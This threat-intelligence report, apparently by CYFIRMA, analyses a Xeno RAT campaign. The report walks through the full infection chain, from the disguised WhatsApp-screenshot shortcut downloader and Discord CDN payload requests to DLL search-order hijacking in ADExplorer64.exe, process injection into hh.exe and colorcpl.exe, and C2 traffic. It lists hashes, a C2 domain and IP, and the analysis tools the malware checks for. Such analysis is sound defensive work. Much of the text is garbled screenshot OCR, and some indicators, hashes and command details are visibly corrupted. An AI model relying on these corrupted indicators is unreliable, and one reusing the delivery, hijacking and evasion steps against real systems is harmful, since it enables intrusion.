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EXECUTIVE SUMMARY

At CYFIRMA, we are dedicated to providing current insights into prevalent threats and strategies utilized by malicious entities,
targeting both organizations and individuals. This in-depth examination focuses on the proliferation of Xeno RAT; an intricately
designed malware, crafted with advanced functionalities, conveniently accessible at no cost on GitHub. The research explores
the array of evasion tactics employed by threat actors to evade detection, while also illuminating the procedures involved in
crafting resilient malware payloads. Significantly, the report underscores the adaptive characteristics of these threats,
emphasizing the imperative for enhanced security protocols and user vigilance to effectively mitigate associated risks.

INTRODUCTION

In an era where cyber threats evolve at an unprecedented pace, understanding and combatting sophisticated malware like
Xeno RAT is paramount. This study provides a concise overview of Xeno RAT, a potent malware written in C#, boasting
advanced capabilities. Delving into its dissemination, evasion techniques, and resilient payload generation processes, this
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https://www.cyfirma.com/research/xeno-rat-a-new-remote-access-trojan-with-advance-capabilities/
https://www.cyfirma.com/etlm/

paper aims to shed light on the dynamic nature of contemporary cyber threats, emphasizing the urgent need for heightened
security measures and user awareness in safeguarding against such malicious entities.

KEY FINDINGS

o Xeno RAT possesses sophisticated functionalities and characteristics of advanced malware.

* The malware’s developer opted to maintain it as an open-source project and made it accessible via GitHub.

* A threat actor customized its settings and disseminated it via the Discord CDN.

e The primary vector in the form of a shortcut file, disguised as a WhatsApp screenshot, acts as downloader.

e The downloader downloads the zip archive from Discord CDN, extracts and executes the next stage payload.
* A multi-step process is employed to generate the ultimate payload of the malware.

« It looks for the debuggers, monitoring, and analysis tools before executing the final stage.

o Utilizes anti-debugging techniques and follows a stealth operation process.

+ Malware adds itself as scheduled task for persistence.

o Leverages the DLL search order functionality in Windows to load the malicious DLL into a trusted executable process.
¢ Injects the malicious code (process injection) in the legit windows process.

e Performs continuous monitoring of the compromised systems.

+ Employes extensive obfuscation techniques within files/code to evade detection effectively.

» Uses obfuscated network traffic to receive instructions and updates.

« Communicates with C2 with status updates and receives instructions at regular intervals.

ETLM ATTRIBUTION

The developer of the Xeno RAT opted to open-source the code and made it available for free on GitHub:

Pull requests Actions Security Insights

. moomB25

developed in C#, |

Plugins compreh of features

for remote ysie ”Idl"li]l]l'll'li.'f'll.
Has feat. h as HVNC, live

xano ral client

xeno rat server microphone, reverse proxy, and
much much more!

gitignore

LICENSE

README.md

logo.png

Source: https://github.com/moom825/xeno-rat

The developer also pledges to continuously provide updates over time, incorporating additional features into the malware.
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The Xeno RAT Server includes a builder module that enables the creation of a customized version of the malware.

A threat actor utilized this capability to develop and distribute their own version of the malware via the Discord CDN. They
employed a shortcut file acting as a downloader, responsible for fetching and executing subsequent payloads.

The analysis identified the domain internal-liveapps[.]Jonline, which is linked to the threat actor and resolves to the IP address
45[.]61[.]139[.151. Both the domain and IP address have lower detection rates.:

= Similar -  ; Graph 4 API

internal- Lz D
16 hours ago

unkrown

Community Score

45.61139.51 (45.61.136.0/22)
AS 399629 (BLNWX)

Community Scora

No known threat actor association has been identified with this Domain/IP address.
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Threat Landscape: from an external threat landscape standpoint, the presence of freely available malware with advanced
capabilities, such as Xeno RAT, which undergoes active development to enhance its features, highlights a concerning trend.
Cyfirma’s research team highlights the evolving tactics of threat actors, who leverage open-source malware to craft
customized creations to compromise their targets.

The developer of the original malware binaries showcases adaptability by employing diverse techniques to obfuscate the
malicious sample, with the goal of maintaining undetected for an extended period. This underscores the necessity for ongoing
vigilance and the implementation of advanced detection measures to effectively combat these dynamic threats.

ANALYSIS OF Xeno-RAT

File Analysis
File Name Screenshot_2024-01-30_w-69-06-18264122612_DCIM.png.Ink
File Size 3.21 KB (3,293 bytes)
Signed Not signed
MD5 13b1d354ac2649b309b0d9229def8091
SHA-256 848020d2e8bacd35c71b78e1a81c669c9dc63c78dd3db5a97200fc87aeb44c3c
Date Modified | 17-10-2022

The primary malware sample is delivered as a shortcut file (.Ink) labeled with the description “WhatsApp_2023-12-12_12-59-
06-18264122612_DCIM.png”:

f= Screenshot_2024-01-30_w-G9-D6-18264122612_ DCIM.png Pr... X

Teminal Securty Details Previous Versions
General Shartcut Cplions Fort Layout Calars
'-t— Sereenshot_2024-01-30_w-£5-06-18264122612_DCIN

Target type: Application

Target location: System3Z

Target: |C:'.".'\.'irduw; \Gyatem 32\ omd eve A-ONAC"bet yF|

Start in: |C:'.Llaafa JEUser\App Data Roaming |

Shorcut key: |\Jcne |

Run: Minimized G
Commert: |ths.lm_2}23—1 2121 2-594}&1325412231z_|
Open Fie Location Change lcon... Advanced...

The file functions as a downloader, utilizing the Windows command shell to retrieve, extract, and execute the payload from a
zip archive, located at the Discord CDN URL. The target field of the file contains obfuscated command line arguments:

Command Line Arguments : SV -kpnse e kpnyurl.
: Zkpr}

jd
faajd-n

curl --1
" B ta

De-obfuscated command line argument
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BEHAVIORAL & CODE ANALYSIS

1st Stage Execution:
The de-obfuscated command reveals downloads from two shortened URLs, both pointing to Discord CDN URLs. The first

URL in the command downloads a non-malicious image, while the payload is retrieved from the second URL.

GET fmtznbnn? HTTR/1.1
Host: tinyurl.com
User-Agent: curl/3.8.1
Accept: *J*
Connection: Keep-Alive

HTTP/1.1 31 Moved Permanently

Date:

Content-Type: text/html; charset=UTF-&

Transfer-Encoding: chunked

Connection: keep-alive

Location: https://cdn.discordapp.com/attachments/1206563280227063882/12865633426@5361222/1. jpeg?ex-650c76adis-p5cadladihm=ef6158
F661476dBb2349801~48afdc4F5c993Bac fEBIcBac 7fde98dc B6ee 73200l

Referrer-Palicy: unsafe-url

X-Robots-Tag: nodindex

X-TinyURL-Redirect-Type: redirect

GET /mrzZbnSf HTTR/1.1
Host: tinyurl.com
User-Agent: curl/8.6.1
Accept: */*
Connection: Keep-flive

HTTP/1.1 381 Moved Permanently

Date: 2

Content-Type: text/html; charset-UTF-2

Transfer-Encoding: chunked

Connection: keep-alive

Lacation: https://cdn.discordapp. com/attachments/1286563288227663882/1206564159823818588/Drivers . zip?ex=65dc7 77081 s=A5rad270khm=
99311calb6Ti3TEe83d37aan831928da84eco6b6829T558@278D31C3275700478&

Referrer-Policy: unsafe-url

X-Robots-Tag: noindex

H-TinyURL-Redirect-Type: redirect

Reqguest/Response fraffic from LNK file

As indicated in the de-obfuscated argument, the zip archive is downloaded and extracted in the directory
“C:\Users\user\AppData\Roaming\Adobe\Drivers”.

The zip archive:

File Name Sys.zip

File Size 2.13 MB (2232447 bytes)

Signed Not signed

MD5 6f9e84087cabbb9aaa7d8aba43a84dcf

SHA-256 4d0d8c2696588ff74fe7d9f8c2097fddd665308fccf16ffea23b9741a261b1c0
Date Modified | 17-02-2024

The zip archive contains three files, two portable executable (exe and DLL) files and one unknown file named as ‘LICENSE’:

AppData » Roaming » Adobe > Drivers v O O Search Drive
Name " Type Size

é Sys.zip Compressed (zipped) Folder 2,181 KB
|_] samcli.dll Application extension 293 KB

| ] LICENSE File 2,315 KB
-~ ADExplorered.exe Application 647 KB

Extracted Files from Sys.zip
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The Windows executable “ADExplorer64.exe” is the Active Directory Explorer provided by Windows Sysinternals, serving as

an advanced Active Directory (AD) viewer and editor:

Filename: ADExplorer64.exe

MD5: 2661f8272ada236¢cf3aeb9ce9323626¢

SHA-256: €451287843b3927c6046eaabd3e22b929bc1f445eec23a73b1398b115d02e4fb
Signature: Signed file (valid signature)

File version: 1.52

The DLL file “samcli.dll” is the malicious payload. It mimics the name of the genuine DLL file “Security Accounts Manager
Client DLL,” which is typically located in the C:\Windows\System32 directory on Microsoft Windows systems:

File Name Samcli.dll

File Size 292.92 KB (299952 bytes)

Signed Signed

MD5 7704241dd8770b11b50b1448647197a5

SHA-256 1762536a663879d5fb8a9%4c1d145331e1d001fb27f787d79691f9f8208fc68f2
Date Modified | 12-02-2024

While the file is signed, the certificate within the signature cannot be verified:

certificate

revision (0200 (WIN_CERT_REVISION_2_0)

type (D002 (WIN_CERT_TYPE_PKCS_SIGNED_DATA)

file-offset-from (heDOOAZ000

file- offset-to (eDD0AG2B0

size-certificate (1280 (5040 bytes)

size-PRCS7 (c13A3 (3027 bytes)

size-PKIC57-null-padding 1 bytes

footprint > shal3f 143CCOBFTEB4ACADTTC3Z0DF1 7T8A35T19CDE4DDCF20REE 1 ES8L00FDTE14C523C58
issued-to

name nvidia.com

signature-info A certificate chain could not be built to a trusted root authority,
issued-by Armazon R5A 2048 MO2

signing-time Sun Feb 171 27:30:08 2024

walid-from Tue Jul 18 16:00:00 2023

walid-to Fri Aug 16 15:59:50 2024

serial-number (FD72A4584815E27085ACDBEEA4TE2TA

thumbprint

signature-algorithm cha236R5A

program-name MozDef Corp

email
more-info-url

Certificate detail of samcli.dll

The LICENSE file contains obfuscated text with read/write permission:

File Name LICENSE

File Size 2.26 MB (2370164 bytes)

Signed No

MD5 02a5930aa736636fd95907328d47ea45

SHA-256 96b091ce5d06afd11ee5ad911566645dbe32bfe1da2269a3d3ef8d3fa0014689

Date Modified

12-02-2024
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LICENSE

Date/Time
Time
e Inode Change Date/Time
Permissions

MIME Encet
Newlin

C
Word Count

LICENSE file detail

B LCENSE E3
UEmOdGrx] IRgxyEFmVOBn S TwiahhObE 1 TE+ORp3 kwg0BYIxTheéecITDvbmpr iuttudbr 1B/ HEWh ECLFPOzOdvah I 2dNREwRDE T 0dxSDT VD a e DEpDDhHu s IMGS1 5+ ko
OVMPWZEGTXE DKOWIWWGa 0N 7im/ 3MEpgbnac D03 587 T IVLEgI VEMVUVEVIKRVEZ / CMga I+ Rt W WD DEL3K1 Wt CEVASREANE N2 LIgo2 bEDUSRRX+ 02 AgN / 8 JTGOWAT
SEpUdevEIKIz b XnCI ke sy WIARr 21 JH 1 RE PMIqlCSADEZTASAn 4 ILEJNSEMDo 1 FZ0e4pe oM T obTIx 14+ SEm/ WaokWoK3 JoLE41] 3yz 44+ ROGE3pNI T/ CgE2HDPGD
Qax=GGEhicg/ T SCUTGEQZ FNEdeSanNZgd I TCe0 hecRIAkIWIOTx 2 APH10VELaLN I NIEL YDl AV TROulNV ] 3ASbunnQ0hnur bV 3ccT V1Y oul YLET Ty R T vMp+ER
K7=+JOHSPShp SheIPcxT 0 uXxJhmdgwROVonmSz=VpkN STgé-+EjME1 iUF TmW 6hcH I pOTSONLS OFbdSgR1Bs egSloefDname REmZ 8YE+o0Taf lmT5ISn2 coV+ 9 Z5PD
wHacEves TG ARIT1TERaHoTPFSkdnUiReBiags LE2by+KyoOaEX L EVEDS CoyrvoOotn/ eCzRe+2mTCCeGrNiNbax o] SFLIHKYSXTBTr 2 cBp2phFro2 04 0THuad Ay
bmpobmBhOHN kbeThae PCCiKmIHCaS L xuvolivViinz gz grEaFUne S iAY ) gLHcXERHgRevMdCX s AwbUCCvp kT leon DEOHQCL TLaVAC Twz L Je TwPChz UdFS Cl ¥X 1N 6mVE
IXMOuTSERoGRaIX 1 TuTAS/ +elXxkOulkadaus3FD/ 4mEZ sWCEhIL/ gBSanozPRenH ) LLZEXZEGI 2 gXQFnEL DN ZERYZp T Kb d TEFJLOWVE T REMDpX L KERE+AMIVER
2 LAVL+LJEJCDMvELENEY OvEr ZygGs ShpE S nFe FEWE X2+ 180, 0 PR vy 3N LN/ TeTn0T+vAENIT04Q0 ¥ Y K0 2512/ 6WS P2 [ SHEEL ZIUR I wRQImOds vOh I COKDICWwD
Bjzplij 0F/HITI2IXbT+umiwhySoFkugdXzzUBXfEE c TWYNCvwzgGe D5bI0bbilzr fLawFbaddD+oZ04iwAS2 3ES] 1K2ix8 EwPEE+HpEiGiTSiHQmT 3¥SaDQvTZI/ O+
TEkItDOBryTaTEgZ zf PFONeKrgil 33 Labx1ReZJdCT +/ kol OH+V1 J IFXFeT fo+ ANpVRVE4ER DB Ie IJ3=C FC+ASe+udCT Japevigoagdka Vh3E 1EVE byRh 3aGkgmvs
83ml4xhir8y7 Ca+CH4TBSmoVUOSUr OCGr ¥R IvE0 3T 06 kaFXhaF 7 iwCER4kz U1 JE kTdJoxpE FALvnY 1 40pne r LOwIzKI PAfwogdHFPgS ImOH+tvl +/Eqd ¥Rt 1zRww
EHGZIQVMES CHOCTSNVSEE0 /T+1FB]er3gglnbJact EUDLac3 Y qogoncEVAUO KZ 2N DASLmnsa IR0 ¥MOoUIRI6 L9 1ELLgZphdna Sa3WsaTFdLU SIF4JEKKEXERT+TXQ
EUETCgLTNG ) € OFAMCCal KEYWCFETW T IENUS1Te0 80P | LungDhE 2 0 6Zp 6CkdpPUS kb JYMWEALS =+nC3a0H0 eI cUga,/ ye B 01 2HRdEVE I o inbakeCHaHh xRy 7 SAKE
ToTXEEaCvh2 0 IzZWKYnC S A+ XIROrkESp+3 TE+REYSCOasQiMELu/ SV2um2 JIZGFCII‘."J.‘]':fqlCV\._F.OgDJMLGU'_QIEJZJFSDJTETHEE‘JCTGHENIU YALTIMPOSORIDSKEOTEL
gTidb43JvzeflEprIé=01ChScd4rPAGTIvoQbJIcSA2 rEICRws LY FwT TwSwe=+himIpkuEzWhdgHlnoR0hvu S S DnmEc LW g FREIMEmk D EQwidEEDEDQHRLWEpFRL
UHYxyvDITI14R+FhOBPE 0HZVIBIRMC4H2 r¥ze0Lo33 T AanCDPXNEHK 7 2 kB SWe6HEwVanF+ 2 4RL/ V2d0rVEZ£dVT 6 0wgDgs CEpOhiGURZnTThWEcr r4dbkLf gJEHOLE ]

Obfuscated content in LICENSE file

2nd Stage Execution:
During the second stage of execution, the command from the .Ink file initiated the Active Directory Explorer
(ADExplorer64.exe) without any prompts (command: ADExplorer64.exe /accepteula /snapshot 127.0.0.1 faa -noconnection).

ADExplorer64.exe relies on samcli.dll, typically found in the Windows\System32 directory, for its functionality. In this scenario,
the threat actor exploited the DLL search order functionality of the Windows operating system by positioning the malicious
DLL with the same name in the current working directory. Consequently, the malicious samcli.exe is loaded into the process of
ADEXxplorer64.exe.

Loading malicious samcli.dll into the process of ADExploreré4.exe

In the subsequent operation, ADExplorer64.exe also reads the obfuscated file LICENSE:
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R COOTUUUTUUOOTTTY

mov rid, ZvReadFile
o et S i REX  00000DZ37G5FFDDDE
test byte ptr ds: [FFFE0302],1 RCX
na ntdll.7FFEEICAD12E RDX adexplorer 54, 00007 FF7 63670000
h REF
ESE
RSI L1
o ROI 0O00000000000:0:00
o ) EvDeviceIoControlFile RE AO0000000000011LE L'E
J . RO 000000297 GFFDBES &"PE"
Phisd nl?dﬁ BT o ARRTE] 1 R1D  00DO7FFEE3 4 ntd11, DO0O7FFBE3CAD 124
- R1L  0D00ODOOODO00Z4E Lo~
ret R1Z  00000D0C00001000
int = R13  00000D000D000003
ret Rl14 O00000000000:000
Aop dword pTe ds: [rai+rax] ,eax R15 NI EFIBEFT 3C0 " OPMOIGE % ] 3R.0 3y BFMIENST W3S MOBE LIK-+ORDS KRB YD T h
I PemriteFile
mov cax,B = o RIP 00007 FFSEICADL 29 nTdll. OOG07EFSEICAD1 24
test byte ptr ds: [FFFED308] ,1
Eyecaia ntd11. 7FFSESC 40165 RELAGE  00D000DA0000200
ZF 0 PFO AF D
OF 0O SF O DF D . .
CFO TF G IF 1 Initial Strings from
i NTRemovelocamplecian LastError 00000000 (ERROR_SUCCESS) LICENSE file
3 9=, I metStatim COMGMONN FSTATIS TRAAI TR PAR SMETER
test byTe prr ds: [7FFED308],1 < b
Ire ntdl1.7FFBE3C 40185 e + [z 2] 0 urieas
ret 1: rca ONDODLEFOBSASELD O0000L1EFOE3A3EL0
int 2E % | 2: rdx OODOTFFTE36T0000 adexplorer 64, 00007FFTEIGTO000
’ 5 3: rd 000DO00DOG000113 DO000OD0ODOT0DLLE
4: r9 000DOOZ57GFFDEES 000000237 GFFDEES &"PE"
5: [rsp+2B] 000000297 6FFDCFO 000000297 6FFOCFD
[rsp+30] ODOCOLEFO85F73C0 CODOCLEFOBEFTICO "OPMIdGrx] 3RguyBEMVQBNST wIshhibE
(rsp+28] 0000000000001000 0000000000001000

ADExploreré4 reading the LICENSE file

Furthermore, ADExplorer64 creates a suspended process named “hh.exe”, writes into its memory (process injection), and
then resumes the thread:

mov rld,rcx IvCreatelserProcess Rl UUUUIILE S SUUFD 44U

mov eax,C3 REP 00000087 200FEBDOD &L"C:%\Windows\ \hh. exe”
test byte ptr ds:[7FFE03D8],1 RSP 0O00DD0B7200FD358
ne ntdl1. 7FF3E3C4E75 RSI  OO00DD25EAG2ES3SE0
- NECreatelserProcess RDT 0000000000000
B
ANt 2E RS 0000000002 000000
rce‘t Foredl i o s (e g e R 0000000002 000000
v rio.rce R e Wi tCon s onPack R1D  OOODO0B7Z00FD 438
Eg: EQE:EEK IwCreatewaitConpletionPacket R T
test byte ptr ds:[7FFEQ30E],1 Rlz  0O0ODCO00000000L
jne ntd]1.7FF3E3C4E995 R13  0000000000000002
R14  00000C0000000003
ret R1s 00000030000000000
WRE 2E
ret RIP  OO0OD7FFBE3C4EIT2 ntd11. 00D0FEFSE3C4EIT2
nop dword ptr ds:[rax+rax],eax
mov rild,rcx NtCreatewsitablefort
mov eax,CE . . 5
test byte ptr ds:[FFFE03D8],1 ™ | Dok (4 Facteall
> 1: rcx CO0000B7 Z00FD438 000U0D0ET Z00FD438
Th dFl 21 rox 0O00000B7 Z00FD4A0 000CD00ET Z00FD4AD
readriag 3: P8 0000000002000000 0000000002000000
4! r3 0000000002000000 0000000002 000000
EH QOOD000000000000  DO0CO00000000000
G O000000000000000  DO00000000000000
N 0000000000000000  DO00000000000000
-] 0000000000000001 DOD0O0000000000L

Creating suspended hh.exe process

ADEXxplorer64.exe modifies (decoded for its own function) the content that is read from the LICENSE file and injects them into
the process memory of hh.exe:

mov rl0,rcx NEWritevirtualMemory RDX 000002 9AEE9E0DDOD
mov eax,3A 3A":! REP 000000297 6FFE3CO & "C:\\windows'\hh. exe™
test byte ptr ds:[7FFE0308],1 RSP  0000002976FFCC18
jne ntdl11.7FFBE3C4DTAS ) ) RSI  00000000D00000005
h | Ntwri tevirtualMemory RDI  0000000000000000

Process injection in hh.exe
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Address Hax

GOODO1EFDBEFY3CO |01 G0 DO 000G 0D O0 DO (AQ DI CC EJ I FB JF (K
CGOODO1EFDBEFY2D0| 00 Q0 DO 00|00 0D OO0 00(00 00 OO0 OO | 0D GO0 DO OO
COODOLEFDBEFTZE0| 00 00 00 00|00 00 OO 00|ES 72 ¢F Of EF 01 00 o0
CO0001EFOBEF T 3F0 23 L 00|00 00 00 00|00 G0 00 00
OOOD01EFDSEFT 400 | 00 00 00 00|00 On 00|00 00 00 00|00 00 00 00
COODOLIEFDBEFT410 |30 1D CB E3|FE 7F 00 DO(F0 SO 6F O [EF Q1 0D 00
COODO1EFDBEFY 420 | 00 00 DD 00|00 OD O 0O(00 00 OO0 OO | 0D OO0 DO OO
GOODO1EFDBEFY 430 | 00 G0 DD O00(O0¢ OD OO0 0O0(00 00 OO0 OO | 0D OO0 DO OO0
CGOQDO1EFDBEFY 440 | 00 00 DO 00(0¢ 0D OC 00(00 OO0 OO0 OO oD OO0 DO OO0
COODO1EFDBEFY 450 |20 OF SC OZISF Ol 00 DO
COODO1EFDBEFY 460 |EB 17 B OZICF 01 OF DO (00 00
OOODOLIEFDBEFTA70|RE 94 B2 EZ1EE TF OO 00 (00 00
OOODO1EFDSEFT 450 ( 01 00 00 00|00 00 00 00|20 D1
CO0D01EFDSEF T 430 [0l 00 00 00|01 0D 00 00|00 00
CGOODOL1EFDBEF T 4A0 | 00 00 DO 00|00 0D O 0O0(Ql 00
COODO1EFDEEF T 430 | 00 00 DO 00|0¢ 00 O DO(7E OE
COQDOLIEFDBEFY4C0O | 20 BT GF ORISF 0Ol Of DO
CGOQDO1EFDBEFY 400 | 00 00 DO 00[00 00 O0 00(00 00
CGOOQDO1EFDBEFY4E0 | 00 00 DO 00|00 OO0 OO 00(00 00
COODO1EFDBEFT4F0 | 00 00 DO 00|00 00
OOOD01EFDSEFT500 | 00 00 00 00|00 on 00|00 00
COO0D01EFDSEFT510| 00 00 00 00|00 oF 00|00 00
COODOL1EFDEEFTSZ0 | 00 00 DO 00|00 00 0000 00
COQDO1EFDBEF 7530 | 00 00 DO 00|00 0¢ DO(g0 00
COODO1EFDBEFTE40| 00 FA DI 0O0|AE 03 DO(g0 00
COODOL1EFDBEFYEE0| 00 G0 DO 00|00 0¢ 00(g0 00
CGOODO1EFDBEFTEE0 | 0O
OOODI1EFOBEF TR0 | 00
OOOO01EFDSEF 7580 | 21
DOOOO1EFDSEF 7530 | 11
COOD01EFDEEFTSA0 | 00
COOD01EFDBEF 7580 | 00
COODO1EFDBEFTECO | 00
COODO1EFDBEFTED0 | 00
CGOODO1EFDBEFTEED | 0O
OOODI1EFOBEF TEFO | 00
OOOO01EFOSEF 7500 | 00
OOOO01EFDSEF 7510 | 00
CQODO1EFDEEF T 620 | 00
COOD01EFDBEF T G30 | 00
COODO01EFDBEF 7 640 | 00
COODO1EFDBEF 7G50 | 00
000DO1EFDEEF T EE0 | 00
OOODO1EFOEEF TEF0 | 00
OO0001 EFOSEF T E80 | 00
DOOOO1EFDSEF 7530 | 65
COODO1EFDEEF T 6A0 | 00
COOD01EFDEEF T 630 | 00
COODO1EFDBEF 7 GCO | 00
COODO1EFDBGF TG00 | 2

GOOO01EFOBEFTEED | L9 OO0 EC O0|EE E3 00|48 OO0
0001 EFOBEF T BR0 prun] 3E 00|20 00
CHOMOI01 E FOBEF 7 700 24 35 00|30 OO0
COO001EFOSEF T 710 20 34 00|77 OE
COODOLEFDBEFTF20| 34 02 LD 00|00 o 00|02 0%
COODOLIEFDBEFT730| 00 00 D1 50|00 o¢ 00|00 00
COODO1EFDBEFT 740 | 04 00 DO 00|00 O DO (6 OO
GOODOIEFDBEFT 7S50 | 00 OO0 DO 00| &0 O% 00| &0 OO0
GOODOLEFOBEFT7E0 | 00 OO OO0 00| 00 00 00|00 OO0

GOOD0IEFDRGFTFF0 | 00 00 00 00|00 00 O0 00|00 00

Modified content of LICENSE file

mov rld,rcx - B ZwResumeThr ead | RDX 000000297 6FFE2CE
mov eax,52 52: 'R’ RBP 000000297 6FFE3CO &L"C:\\windows' hh. exe™”
test byte ptr ds:[7FFE0308],1 RSP  0000002976FFE288
jne ntdl1.7FFBE3C4DAAS RSI 000001EFOBGBF3IFC2
h |NtResumeThr ead | RDI  ODODO1EFOSGF3FC2

Resuming hh.exe process

ADEXxplorer64.exe also created two shortcut files in the current working directory:
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Process Name

™8 ADExplorer64...
L ADExplorert4...
L ADExplorert4...
s ADExplorert4....
g ADExplorert4....

Operation
A CreateFile
B CreateFile
B CreateFile
B WriteFile

whk ADExplorers4....

ok ADEsplorert4...
e ADExplorerb4. ...

B WriteFile
B CloseFile

v

b
b
L
t

Detail
Read Attributes, D
Read Attributes, Disg
: Generic Read/Write,
154, Priority: Normal

: Generic Write, Read
79, Priority: Normal

¢ Guide Properbes

Gereral Web Document Seeurity  Detaile  Pravious Versiora Securty Details Previous Versiora
Ganaral Shaortce Compatikilty
=3 | Suppert
= | PR O e
) Gi
P
URL: mapphatalRaaming Adabe Dnvers\Gulde. nk
Target type: Application
i
Sotuuthey:: [Po08 Target location: Diivers
Vietts: Urknown Target | DHivers\ ADExplorerSd exs -snapshot 43921 09 |
Ch kcon....
=it Start in: |C.'.Us=m'.U==r \AppDataRoaming |
Shoreut key: |h\:rc |
Run: Mormal wirdcw il
Comment: |st'n:emals Guide Shortcut |
Jpen Filke Location Change lcon... Advercsd...

The Support.url file points to the Giude.Ink file, which runs the command that executed the ADExplorer64.exe at initial stage,

as shown in the above screenshot.

3rd Stage Execution:

During the third stage of execution, the hh.exe process generates a suspended colorcpl.exe process and subsequently writes

into its memory (process injection):

mov rld,rcx

ZwCreatelserProcess

DO00DD033FG63TACI S &"PE"

s R2
mov 2ax,C9 7 SRRrE T = =
=t = I - R10 00007 FFEE3C4EST 4 ntdll.00007FFBE3CIEDTS
tﬁ:_nﬁg“lz?.5:;523652;503”' o R11  0000000000000246 L'B"
RLZ  0000D00CO000000L
ret R13 0000000000000002
See or B4 ANONOANNNALINN S
Type Type numb | Handle ACCESS Name
Process 5 1AD 1FFFFF PID: 3996 (\Device\Harddiskvelume3'windows'System3zhcolarcpl.exe)
Thread & 130 1FFFFF TID: z540, FID: 3336 (“Device\Harddiskvolumesiwindows"systemszicolorcpl. exe)
File el 1A4 100041 ‘Device' Harddi skvoTume2' Windows' System22\ colorepl . exe

£ =

5
5
W5
5

The hh.exe process terminates and colorcpl.exe process resumes under the explorer.exe (parent process):
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hh. exe (5124)

replexe (116)

[§lco

Jata\Roaming|Adobe\Drivers

Process Tree

xplorerfd exe ADExplorertd. exe nteula -snapshot 127.0.0.1 faa -noconnectprompt

The injected process hh.exe employs defensive measures to evade analysis:

B 7 Results - hh.exe (3412)

1,976 results.

Address

Ox191f00f4428
0x 19 1f00f4480
0159 1f00f44b0
0x191f00f4420
O 191f00f4510
0x191f00f4523
0 12 1004540
0x19 10074560
0x191f00f4580
0x 191004538
0x 191004500
0x191f00f45d8
0x191f00f45f0
0x191f00f45 10
0x191f00f4630
0x 19 1f00f4560
0x191f00f4673
0x121f00f4820
0x 19100468
0% 12 1f00f4758
0x191f00f4790
0% 191f0f4300
0x191f00f4820
0x191f00f4340
0x 19 1f00f4860
0x191f00f48d0
0x121f00f4300
0x191f00f4378
0x19 1f00fdedc
0x191f00f4eaf
0x191f00f4=bb
0x191f0f%ece
0% 191fi0f4=e2
0x 19 1f00f4ef7
Ox191f00f4f0a
0x191f00f4f2a
0x191f00f4f43
0x191f00f4f51
0x191f00f4f62
0x19 1f00faf7s

Result

idagc4.exe
idawsd.exe
idago4.exe

scylla.exe
scylla_xéEd.exe
scylla_x85.exe
protection_id.exe
x54dbg.exe
w32dbg.exe
windbg.exe
reshacker.exe
ImportREC. exe
IMMUNITYDEBUGGER.EXE
devenv.exe
Frocmon.exe
Procmongd,exe
disassemaly

Impaort reconstructor

Zeta Debugger

Rock Debugger

ObsidianEUL
WinDbgFrameClass
FROCMCN_WINDOW _CLASS
explorer.exe

HOOEIEI’BI’}'Xg H.E
HookDIData

HookedGetTickCounta4
HookedGetTickCount

HookedMativeCalllnternal
HookedMtClose
HookedMtContinue
HookedMNtCreateSedtion
HookedMtCreateThread

oTyabg. exe

Looks fd
idaug4. exe and ana

Process Monitor - Sysinternals:

r Debuggers
ysis tools

WL sysinternals.com

Unpacked, exe

Hookedeatiocamme L@ OKS for hooked
HookedGetsystemTime [ | &

HookedKLiserExcepionDisgatcher

defensive measures used by hh.exe

Final Stage Execution:

In the final stage, the execution of colorcpl.exe commences. It performs a check to ascertain if there is any installation of the

Xeno RAT on the victim machine:

#lcolorcpl.exe MCreateFile C:\Windows\System32\xeno rat client.dll NAME NOT FC
= >pl.exe teFile )

Ecolorcpl exe ateFile

no

ient\xeno rat client.dll PATH NOT FOUN
NAME NOT FOUND

E!C[J|Dil3p| oxe CreateFile

PATH NOT FOUND

After confirming the nonpresence of Xeno RAT (on an uninfected host), process starts communicating with the the domain
“internal-liveappsl[.Jonline” which resolves to the IP address :45[.]61[.]139[.]51:

184 Standard qu

iveapps

Standard guery response @x6all A internal-liveapps.online A 45.

DINS traffic
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It sends and receives obfuscated content over the network continuously, exhibiting a pattern resembling to Remote Access

Trojan (RAT) activity:

THTTOTTPTUTUTTUOUDUOTUODTO VDO DO TOTD WD T
FEE SRR EEEREBEREEREERER DR
mE R AR R AR R AR ARRASE SRR
B = 2l DR Ll O e R s e

The mapped memory of the colorcpl.exe process reveals its capabilities, including communication with a command-and-
control (C2) server over a SOCKS proxy, receipt of commands, transmission of updates, addition and removal from the

w. oAl B s R R
cwLka | S e R e
.uu.|-c_.\3|.| SN« Y. S
LA ) o NS R
kAL Chi ot e
wl koA Kb sooo.
WL kAL N ' T
kLAl R ' Y S
kAL | R 4 Y
T - W I (P SO
TN IO < JEPY . A
SN N IV ' T Y- S
wo ke AL oKk el
wokLAL R (Y
kAL S i ER S e
wo kA S LT Sy
okl AL S | TR
| O BTy, O p e
oL koAL | S < T PR
ookl AL S { | DR ISR
kA RECE | FEREIL e
kAL S T S
cw b A N o

........... P..w.k.A|
........... P..w. k. AL
___________ P.oow. k. A
........... P..ow. kA
........... P..w.k A
___________ P.ow k. A
........... Poow. KA
........... P..w.k.A.|
........... P.ow. kAl
........... Poow. koA
........... P..w.k.A. |
........... P.ow. kA
___________ P.oow. k. A
........... P..w.k.A.
........... Poow. kA
___________ P.oow k. A
........... P..w.k.A.|
........... P..w.k.A.|
........... P..w.k.A.|
........... P..w.k.A.|
........... P..w.k.Al|
........... P..w.K.A.|
___________ P w.k_A_

TCP communication of colorcpl.exe process

startup, and the ability to uninstall itself:

Ux202cdala 20
0x202cdbe 7936
0220 2cdbed<42d
0220 2cdbei43d
0%202edbe3 s
0x202cdbeg 700
0320 2cdbeg 7hf
020 2cdbea 73
03x202cdbc982a
0x202cdbe98 e
0x20 2cdbc933c
0x20 2cdbesshe
0x202cdbc98e8
0x202cdbeds 13
0320 2zdbeg94s
0320 2cdbiega 79
0x202cdbc99a5
0320 2cdbcg9da
03x202cdbega0s
03x202cdbie9ai3
0x202cdbegacs
0x20 2edbcSaas
0x202cdboSaea
0x202-dbecob id
0220 2cdbeb 54
0320 2cdbiesh7d
0x20 2cdbcsbb4
0x202cdbeSbed
03%202cdbecgc 10
0320 2cdbiegcs7
0x202cdbead 70
Ox202cf431dz2
0x202c431db2
0x202:f4323d%
0x202:f442a5
020 2-f447a8a
0x202:f443104
0x202:F5f3b24
0x20227dbd40

¥eno rat dient.exe
Xeno rat dient.exe
xeno rat dient
xene_rat_dient
wena rat disnt

xeno rat dlisnt

fxeno_rat_dient,DIHandler +<DlNodeHandler =d__3
+xeno_rat_dlient,Handler +<CreateSubSock=d__3
xeno_rat_dient.Handler +=GetAndSendInfoxd_ 5
*weno_rat_dient.Hander +<TypelRecive>d_ &
*xeno_rat_dient.Hander+<Type Recsive>d__7
